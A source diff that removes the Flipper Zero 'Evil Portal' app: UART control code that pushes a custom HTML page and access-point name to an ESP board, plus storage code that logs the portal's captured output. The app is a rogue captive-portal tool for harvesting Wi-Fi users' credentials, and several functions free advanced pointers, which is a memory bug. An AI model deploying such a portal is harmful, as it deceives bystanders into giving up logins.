if(furi_hal_power_is_otg_enabled() && !otg_was_enabled) {
furi_hal_power_disable_otg();
}
return 0;
}

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@@ -1,11 +0,0 @@
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
typedef struct Evil_PortalApp Evil_PortalApp;
#ifdef __cplusplus
}
#endif

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@@ -1,77 +0,0 @@
#pragma once
#include "evil_portal_app.h"
#include "evil_portal_custom_event.h"
#include "evil_portal_uart.h"
#include "scenes/evil_portal_scene.h"
#include "evil_portal_icons.h"
#include <assets_icons.h>
#include <gui/gui.h>
#include <gui/modules/loading.h>
#include <gui/modules/text_box.h>
#include <gui/modules/text_input.h>
#include <gui/modules/variable_item_list.h>
#include <gui/scene_manager.h>
#include <gui/view_dispatcher.h>
#include <gui/view_stack.h>
#include <dialogs/dialogs.h>
#include <xtreme.h>
#define NUM_MENU_ITEMS (6)
#define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096)
#define UART_CH \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define SET_HTML_CMD "sethtml"
#define SET_AP_CMD "setap"
#define RESET_CMD "reset"
struct Evil_PortalApp {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
FuriString* portal_logs;
const char* command_queue[1];
int command_index;
bool has_command_queue;
FuriString* text_box_store;
size_t text_box_store_strlen;
TextBox* text_box;
VariableItemList* var_item_list;
Evil_PortalUart* uart;
TextInput* text_input;
DialogsApp* dialogs;
FuriString* file_path;
Loading* loading;
ViewStack* view_stack;
int selected_menu_index;
int selected_option_index[NUM_MENU_ITEMS];
const char* selected_tx_string;
bool is_command;
bool is_custom_tx_string;
bool focus_console_start;
bool show_stopscan_tip;
bool sent_ap;
bool sent_html;
bool sent_reset;
int BAUDRATE;
char text_store[2][128 + 1];
uint8_t* index_html;
uint8_t* ap_name;
};
typedef enum {
Evil_PortalAppViewVarItemList,
Evil_PortalAppViewConsoleOutput,
Evil_PortalAppViewStartPortal,
Evil_PortalAppViewTextInput,
} Evil_PortalAppView;

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@@ -1,9 +0,0 @@
#pragma once
typedef enum {
Evil_PortalEventRefreshConsoleOutput = 0,
Evil_PortalEventStartConsole,
Evil_PortalEventStartKeyboard,
Evil_PortalEventStartPortal,
Evil_PortalEventTextInput,
} Evil_PortalCustomEvent;

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@@ -1,157 +0,0 @@
#include "evil_portal_app_i.h"
#include "evil_portal_uart.h"
#include "helpers/evil_portal_storage.h"
struct Evil_PortalUart {
Evil_PortalApp* app;
FuriThread* rx_thread;
FuriStreamBuffer* rx_stream;
uint8_t rx_buf[RX_BUF_SIZE + 1];
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context);
};
typedef enum {
WorkerEvtStop = (1 << 0),
WorkerEvtRxDone = (1 << 1),
} WorkerEvtFlags;
void evil_portal_uart_set_handle_rx_data_cb(
Evil_PortalUart* uart,
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) {
furi_assert(uart);
uart->handle_rx_data_cb = handle_rx_data_cb;
}
#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone)
void evil_portal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) {
Evil_PortalUart* uart = (Evil_PortalUart*)context;
if(ev == UartIrqEventRXNE) {
furi_stream_buffer_send(uart->rx_stream, &data, 1, 0);
furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone);
}
}
static int32_t uart_worker(void* context) {
Evil_PortalUart* uart = (void*)context;
while(1) {
uint32_t events =
furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever);
furi_check((events & FuriFlagError) == 0);
if(events & WorkerEvtStop) break;
if(events & WorkerEvtRxDone) {
size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0);
if(len > 0) {
if(uart->handle_rx_data_cb) {
uart->handle_rx_data_cb(uart->rx_buf, len, uart->app);
if(uart->app->has_command_queue) {
if(uart->app->command_index < 1) {
if(0 == strncmp(
SET_AP_CMD,
uart->app->command_queue[uart->app->command_index],
strlen(SET_AP_CMD))) {
FuriString* out_data = furi_string_alloc();
furi_string_cat(out_data, "setap=");
furi_string_cat(out_data, (char*)uart->app->ap_name);
evil_portal_uart_tx(
(uint8_t*)(furi_string_get_cstr(out_data)),
strlen(furi_string_get_cstr(out_data)));
evil_portal_uart_tx((uint8_t*)("\n"), 1);
uart->app->sent_ap = true;
free(out_data);
free(uart->app->ap_name);
}
uart->app->command_index = 0;
uart->app->has_command_queue = false;
uart->app->command_queue[0] = "";
}
}
if(uart->app->sent_reset == false) {
furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
}
if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
write_logs(uart->app->portal_logs);
furi_string_reset(uart->app->portal_logs);
}
} else {
uart->rx_buf[len] = '\0';
if(uart->app->sent_reset == false) {
furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
}
if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
write_logs(uart->app->portal_logs);
furi_string_reset(uart->app->portal_logs);
}
}
}
}
}
furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL);
furi_stream_buffer_free(uart->rx_stream);
return 0;
}
void evil_portal_uart_tx(uint8_t* data, size_t len) {
furi_hal_uart_tx(UART_CH, data, len);
}
Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app) {
Evil_PortalUart* uart = malloc(sizeof(Evil_PortalUart));
uart->app = app;
// Init all rx stream and thread early to avoid crashes
uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1);
uart->rx_thread = furi_thread_alloc();
furi_thread_set_name(uart->rx_thread, "Evil_PortalUartRxThread");
furi_thread_set_stack_size(uart->rx_thread, 1024);
furi_thread_set_context(uart->rx_thread, uart);
furi_thread_set_callback(uart->rx_thread, uart_worker);
furi_thread_start(uart->rx_thread);
if(UART_CH == FuriHalUartIdUSART1) {
furi_hal_console_disable();
} else if(UART_CH == FuriHalUartIdLPUART1) {
furi_hal_uart_init(UART_CH, app->BAUDRATE);
}
if(app->BAUDRATE == 0) {
app->BAUDRATE = 115200;
}
furi_hal_uart_set_br(UART_CH, app->BAUDRATE);
furi_hal_uart_set_irq_cb(UART_CH, evil_portal_uart_on_irq_cb, uart);
evil_portal_uart_tx((uint8_t*)("XFW#EVILPORTAL=1\n"), strlen("XFW#EVILPORTAL=1\n"));
return uart;
}
void evil_portal_uart_free(Evil_PortalUart* uart) {
furi_assert(uart);
furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop);
furi_thread_join(uart->rx_thread);
furi_thread_free(uart->rx_thread);
if(UART_CH == FuriHalUartIdLPUART1) {
furi_hal_uart_deinit(UART_CH);
} else {
furi_hal_console_enable();
}
free(uart);
}

View File

@@ -1,14 +0,0 @@
#pragma once
#include "furi_hal.h"
#define RX_BUF_SIZE (320)
typedef struct Evil_PortalUart Evil_PortalUart;
void evil_portal_uart_set_handle_rx_data_cb(
Evil_PortalUart* uart,
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context));
void evil_portal_uart_tx(uint8_t* data, size_t len);
Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app);
void evil_portal_uart_free(Evil_PortalUart* uart);

View File

@@ -1,163 +0,0 @@
#include "evil_portal_storage.h"
static Storage* evil_portal_open_storage() {
return furi_record_open(RECORD_STORAGE);
}
static void evil_portal_close_storage() {
furi_record_close(RECORD_STORAGE);
}
void evil_portal_read_index_html(void* context) {
Evil_PortalApp* app = context;
Storage* storage = evil_portal_open_storage();
FileInfo fi;
if(!storage_common_exists(storage, EVIL_PORTAL_INDEX_SAVE_PATH)) {
FuriString* tmp = furi_string_alloc_set(EVIL_PORTAL_INDEX_DEFAULT_PATH);
evil_portal_replace_index_html(tmp);
furi_string_free(tmp);
}
if(storage_common_stat(storage, EVIL_PORTAL_INDEX_SAVE_PATH, &fi) == FSE_OK) {
File* index_html = storage_file_alloc(storage);
if(storage_file_open(
index_html, EVIL_PORTAL_INDEX_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
app->index_html = malloc((size_t)fi.size);
uint8_t* buf_ptr = app->index_html;
size_t read = 0;
while(read < fi.size) {
size_t to_read = fi.size - read;
if(to_read > UINT16_MAX) to_read = UINT16_MAX;
uint16_t now_read = storage_file_read(index_html, buf_ptr, (uint16_t)to_read);
read += now_read;
buf_ptr += now_read;
}
free(buf_ptr);
}
storage_file_close(index_html);
storage_file_free(index_html);
} else {
char* html_error = "<b>Evil portal</b><br>Unable to read the html file.<br>"
"Is the SD Card set up correctly? <br>See instructions @ "
"github.com/bigbrodude6119/flipper-zero-evil-portal<br>"
"Under the 'Install pre-built app on the flipper' section.";
app->index_html = (uint8_t*)html_error;
}
evil_portal_close_storage();
}
void evil_portal_replace_index_html(FuriString* path) {
Storage* storage = evil_portal_open_storage();
FS_Error error;
error = storage_common_remove(storage, EVIL_PORTAL_INDEX_SAVE_PATH);
if(error != FSE_OK) {
FURI_LOG_D("EVIL PORTAL", "Error removing file");
} else {
FURI_LOG_D("EVIL PORTAL", "Error removed file");
}
error = storage_common_copy(storage, furi_string_get_cstr(path), EVIL_PORTAL_INDEX_SAVE_PATH);
if(error != FSE_OK) {
FURI_LOG_D("EVIL PORTAL", "Error copying file");
}
evil_portal_close_storage();
}
void evil_portal_create_html_folder_if_not_exists() {
Storage* storage = evil_portal_open_storage();
if(storage_common_stat(storage, HTML_FOLDER, NULL) == FSE_NOT_EXIST) {
FURI_LOG_D("Evil Portal", "Directory %s doesn't exist. Will create new.", HTML_FOLDER);
if(!storage_simply_mkdir(storage, HTML_FOLDER)) {
FURI_LOG_E("Evil Portal", "Error creating directory %s", HTML_FOLDER);
}
}
evil_portal_close_storage();
}
void evil_portal_read_ap_name(void* context) {
Evil_PortalApp* app = context;
Storage* storage = evil_portal_open_storage();
FileInfo fi;
if(storage_common_stat(storage, EVIL_PORTAL_AP_SAVE_PATH, &fi) == FSE_OK) {
File* ap_name = storage_file_alloc(storage);
if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
app->ap_name = malloc((size_t)fi.size);
uint8_t* buf_ptr = app->ap_name;
size_t read = 0;
while(read < fi.size) {
size_t to_read = fi.size - read;
if(to_read > UINT16_MAX) to_read = UINT16_MAX;
uint16_t now_read = storage_file_read(ap_name, buf_ptr, (uint16_t)to_read);
read += now_read;
buf_ptr += now_read;
}
free(buf_ptr);
}
storage_file_close(ap_name);
storage_file_free(ap_name);
} else {
char* app_default = "Evil Portal";
app->ap_name = (uint8_t*)app_default;
}
evil_portal_close_storage();
}
void evil_portal_write_ap_name(void* context) {
Evil_PortalApp* app = context;
Storage* storage = evil_portal_open_storage();
File* ap_name = storage_file_alloc(storage);
if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
storage_file_write(ap_name, app->text_store[0], strlen(app->text_store[0]));
}
storage_file_close(ap_name);
storage_file_free(ap_name);
evil_portal_close_storage();
}
char* sequential_file_resolve_path(
Storage* storage,
const char* dir,
const char* prefix,
const char* extension) {
if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) {
return NULL;
}
char file_path[256];
int file_index = 0;
do {
if(snprintf(
file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) <
0) {
return NULL;
}
file_index++;
} while(storage_file_exists(storage, file_path));
return strdup(file_path);
}
void write_logs(FuriString* portal_logs) {
Storage* storage = evil_portal_open_storage();
if(!storage_file_exists(storage, EVIL_PORTAL_LOG_SAVE_PATH)) {
storage_simply_mkdir(storage, EVIL_PORTAL_LOG_SAVE_PATH);
}
char* seq_file_path =
sequential_file_resolve_path(storage, EVIL_PORTAL_LOG_SAVE_PATH, "log", "txt");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, seq_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
storage_file_write(
file, furi_string_get_cstr(portal_logs), furi_string_utf8_length(portal_logs));
}
storage_file_close(file);
storage_file_free(file);
evil_portal_close_storage();
}

View File

@@ -1,26 +0,0 @@
#include "../evil_portal_app_i.h"
#include <flipper_format/flipper_format_i.h>
#include <lib/toolbox/stream/file_stream.h>
#include <stdlib.h>
#include <storage/storage.h>
#include <string.h>
#define PORTAL_FILE_DIRECTORY_PATH EXT_PATH("apps_data/evil_portal")
#define HTML_EXTENSION ".html"
#define HTML_FOLDER PORTAL_FILE_DIRECTORY_PATH "/html"
#define EVIL_PORTAL_INDEX_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/index.html"
#define EVIL_PORTAL_INDEX_DEFAULT_PATH HTML_FOLDER "/xtreme.html"
#define EVIL_PORTAL_AP_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/ap.config.txt"
#define EVIL_PORTAL_LOG_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/logs"
void evil_portal_read_index_html(void* context);
void evil_portal_read_ap_name(void* context);
void evil_portal_write_ap_name(void* context);
void evil_portal_replace_index_html(FuriString* path);
void evil_portal_create_html_folder_if_not_exists();
void write_logs(FuriString* portal_logs);
char* sequential_file_resolve_path(
Storage* storage,
const char* dir,
const char* prefix,
const char* extension);

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View File

@@ -1,30 +0,0 @@
#include "evil_portal_scene.h"
// Generate scene on_enter handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
void (*const evil_portal_scene_on_enter_handlers[])(void*) = {
#include "evil_portal_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_event handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
bool (*const evil_portal_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
#include "evil_portal_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_exit handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
void (*const evil_portal_scene_on_exit_handlers[])(void* context) = {
#include "evil_portal_scene_config.h"
};
#undef ADD_SCENE
// Initialize scene handlers configuration structure
const SceneManagerHandlers evil_portal_scene_handlers = {
.on_enter_handlers = evil_portal_scene_on_enter_handlers,
.on_event_handlers = evil_portal_scene_on_event_handlers,
.on_exit_handlers = evil_portal_scene_on_exit_handlers,
.scene_num = Evil_PortalSceneNum,
};

View File

@@ -1,29 +0,0 @@
#pragma once
#include <gui/scene_manager.h>
// Generate scene id and total number
#define ADD_SCENE(prefix, name, id) Evil_PortalScene##id,
typedef enum {
#include "evil_portal_scene_config.h"
Evil_PortalSceneNum,
} Evil_PortalScene;
#undef ADD_SCENE
extern const SceneManagerHandlers evil_portal_scene_handlers;
// Generate scene on_enter handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
#include "evil_portal_scene_config.h"
#undef ADD_SCENE
// Generate scene on_event handlers declaration
#define ADD_SCENE(prefix, name, id) \
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
#include "evil_portal_scene_config.h"
#undef ADD_SCENE
// Generate scene on_exit handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
#include "evil_portal_scene_config.h"
#undef ADD_SCENE

View File

@@ -1,4 +0,0 @@
ADD_SCENE(evil_portal, start, Start)
ADD_SCENE(evil_portal, console_output, ConsoleOutput)
ADD_SCENE(evil_portal, rename, Rename)
ADD_SCENE(evil_portal, select_html, SelectHtml)

View File

@@ -1,157 +0,0 @@
#include "../evil_portal_app_i.h"
#include "../helpers/evil_portal_storage.h"
void evil_portal_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) {
furi_assert(context);
Evil_PortalApp* app = context;
// If text box store gets too big, then truncate it
app->text_box_store_strlen += len;
if(app->text_box_store_strlen >= EVIL_PORTAL_TEXT_BOX_STORE_SIZE - 1) {
furi_string_right(app->text_box_store, app->text_box_store_strlen / 2);
app->text_box_store_strlen = furi_string_size(app->text_box_store) + len;
}
// Null-terminate buf and append to text box store
buf[len] = '\0';
furi_string_cat_printf(app->text_box_store, "%s", buf);
view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventRefreshConsoleOutput);
}
void evil_portal_scene_console_output_on_enter(void* context) {
Evil_PortalApp* app = context;
TextBox* text_box = app->text_box;
text_box_reset(app->text_box);
text_box_set_font(text_box, TextBoxFontText);
if(app->focus_console_start) {
text_box_set_focus(text_box, TextBoxFocusStart);
} else {
text_box_set_focus(text_box, TextBoxFocusEnd);
}
if(app->is_command) {
furi_string_reset(app->text_box_store);
app->text_box_store_strlen = 0;
app->sent_reset = false;
if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) {
const char* help_msg = "BLUE = Waiting\nGREEN = Good\nRED = Bad\n\nThis project is a "
"WIP.\ngithub.com/bigbrodude6119/flipper-zero-evil-portal\n\n"
"Version 0.0.2\n\n";
furi_string_cat_str(app->text_box_store, help_msg);
app->text_box_store_strlen += strlen(help_msg);
if(app->show_stopscan_tip) {
const char* msg = "Press BACK to return\n";
furi_string_cat_str(app->text_box_store, msg);
app->text_box_store_strlen += strlen(msg);
}
}
if(0 == strncmp("savelogs", app->selected_tx_string, strlen("savelogs"))) {
const char* help_msg = "Logs saved.\n\n";
furi_string_cat_str(app->text_box_store, help_msg);
app->text_box_store_strlen += strlen(help_msg);
write_logs(app->portal_logs);
furi_string_reset(app->portal_logs);
if(app->show_stopscan_tip) {
const char* msg = "Press BACK to return\n";
furi_string_cat_str(app->text_box_store, msg);
app->text_box_store_strlen += strlen(msg);
}
}
if(0 == strncmp("setapname", app->selected_tx_string, strlen("setapname"))) {
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneRename);
return;
}
if(0 == strncmp("selecthtml", app->selected_tx_string, strlen("selecthtml"))) {
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneSelectHtml);
return;
}
if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
app->command_queue[0] = SET_AP_CMD;
app->has_command_queue = true;
app->command_index = 0;
if(app->show_stopscan_tip) {
const char* msg = "Starting portal\nIf no response press\nBACK to return\n";
furi_string_cat_str(app->text_box_store, msg);
app->text_box_store_strlen += strlen(msg);
}
}
if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
app->sent_reset = true;
if(app->show_stopscan_tip) {
const char* msg = "Reseting portal\nPress BACK to return\n\n\n\n";
furi_string_cat_str(app->text_box_store, msg);
app->text_box_store_strlen += strlen(msg);
}
}
}
text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneConsoleOutput, 0);
view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
// Register callback to receive data
evil_portal_uart_set_handle_rx_data_cb(
app->uart, evil_portal_console_output_handle_rx_data_cb);
if(app->is_command && app->selected_tx_string) {
if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
evil_portal_read_index_html(context);
FuriString* data = furi_string_alloc();
furi_string_cat(data, "sethtml=");
furi_string_cat(data, (char*)app->index_html);
evil_portal_uart_tx(
(uint8_t*)(furi_string_get_cstr(data)), strlen(furi_string_get_cstr(data)));
evil_portal_uart_tx((uint8_t*)("\n"), 1);
app->sent_html = true;
free(data);
free(app->index_html);
evil_portal_read_ap_name(context);
} else if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
app->sent_html = false;
app->sent_ap = false;
evil_portal_uart_tx(
(uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
evil_portal_uart_tx((uint8_t*)("\n"), 1);
} else if(1 == strncmp("help", app->selected_tx_string, strlen("help"))) {
evil_portal_uart_tx(
(uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
evil_portal_uart_tx((uint8_t*)("\n"), 1);
}
}
}
bool evil_portal_scene_console_output_on_event(void* context, SceneManagerEvent event) {
Evil_PortalApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
consumed = true;
} else if(event.type == SceneManagerEventTypeTick) {
consumed = true;
}
return consumed;
}
void evil_portal_scene_console_output_on_exit(void* context) {
Evil_PortalApp* app = context;
// Unregister rx callback
evil_portal_uart_set_handle_rx_data_cb(app->uart, NULL);
}

View File

@@ -1,42 +0,0 @@
#include "../evil_portal_app_i.h"
#include "../helpers/evil_portal_storage.h"
void evil_portal_text_input_callback(void* context) {
furi_assert(context);
Evil_PortalApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventTextInput);
}
void evil_portal_scene_rename_on_enter(void* context) {
Evil_PortalApp* app = context;
TextInput* text_input = app->text_input;
size_t enter_name_length = 25;
evil_portal_read_ap_name(app);
text_input_set_header_text(text_input, "AP Name/SSID");
strncpy(app->text_store[0], (char*)app->ap_name, enter_name_length);
text_input_set_result_callback(
text_input,
evil_portal_text_input_callback,
context,
app->text_store[0],
enter_name_length,
false);
view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewTextInput);
}
bool evil_portal_scene_rename_on_event(void* context, SceneManagerEvent event) {
Evil_PortalApp* app = context;
SceneManager* scene_manager = app->scene_manager;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
evil_portal_write_ap_name(app);
scene_manager_search_and_switch_to_previous_scene(scene_manager, Evil_PortalSceneStart);
consumed = true;
}
return consumed;
}
void evil_portal_scene_rename_on_exit(void* context) {
Evil_PortalApp* app = context;
variable_item_list_reset(app->var_item_list);
}

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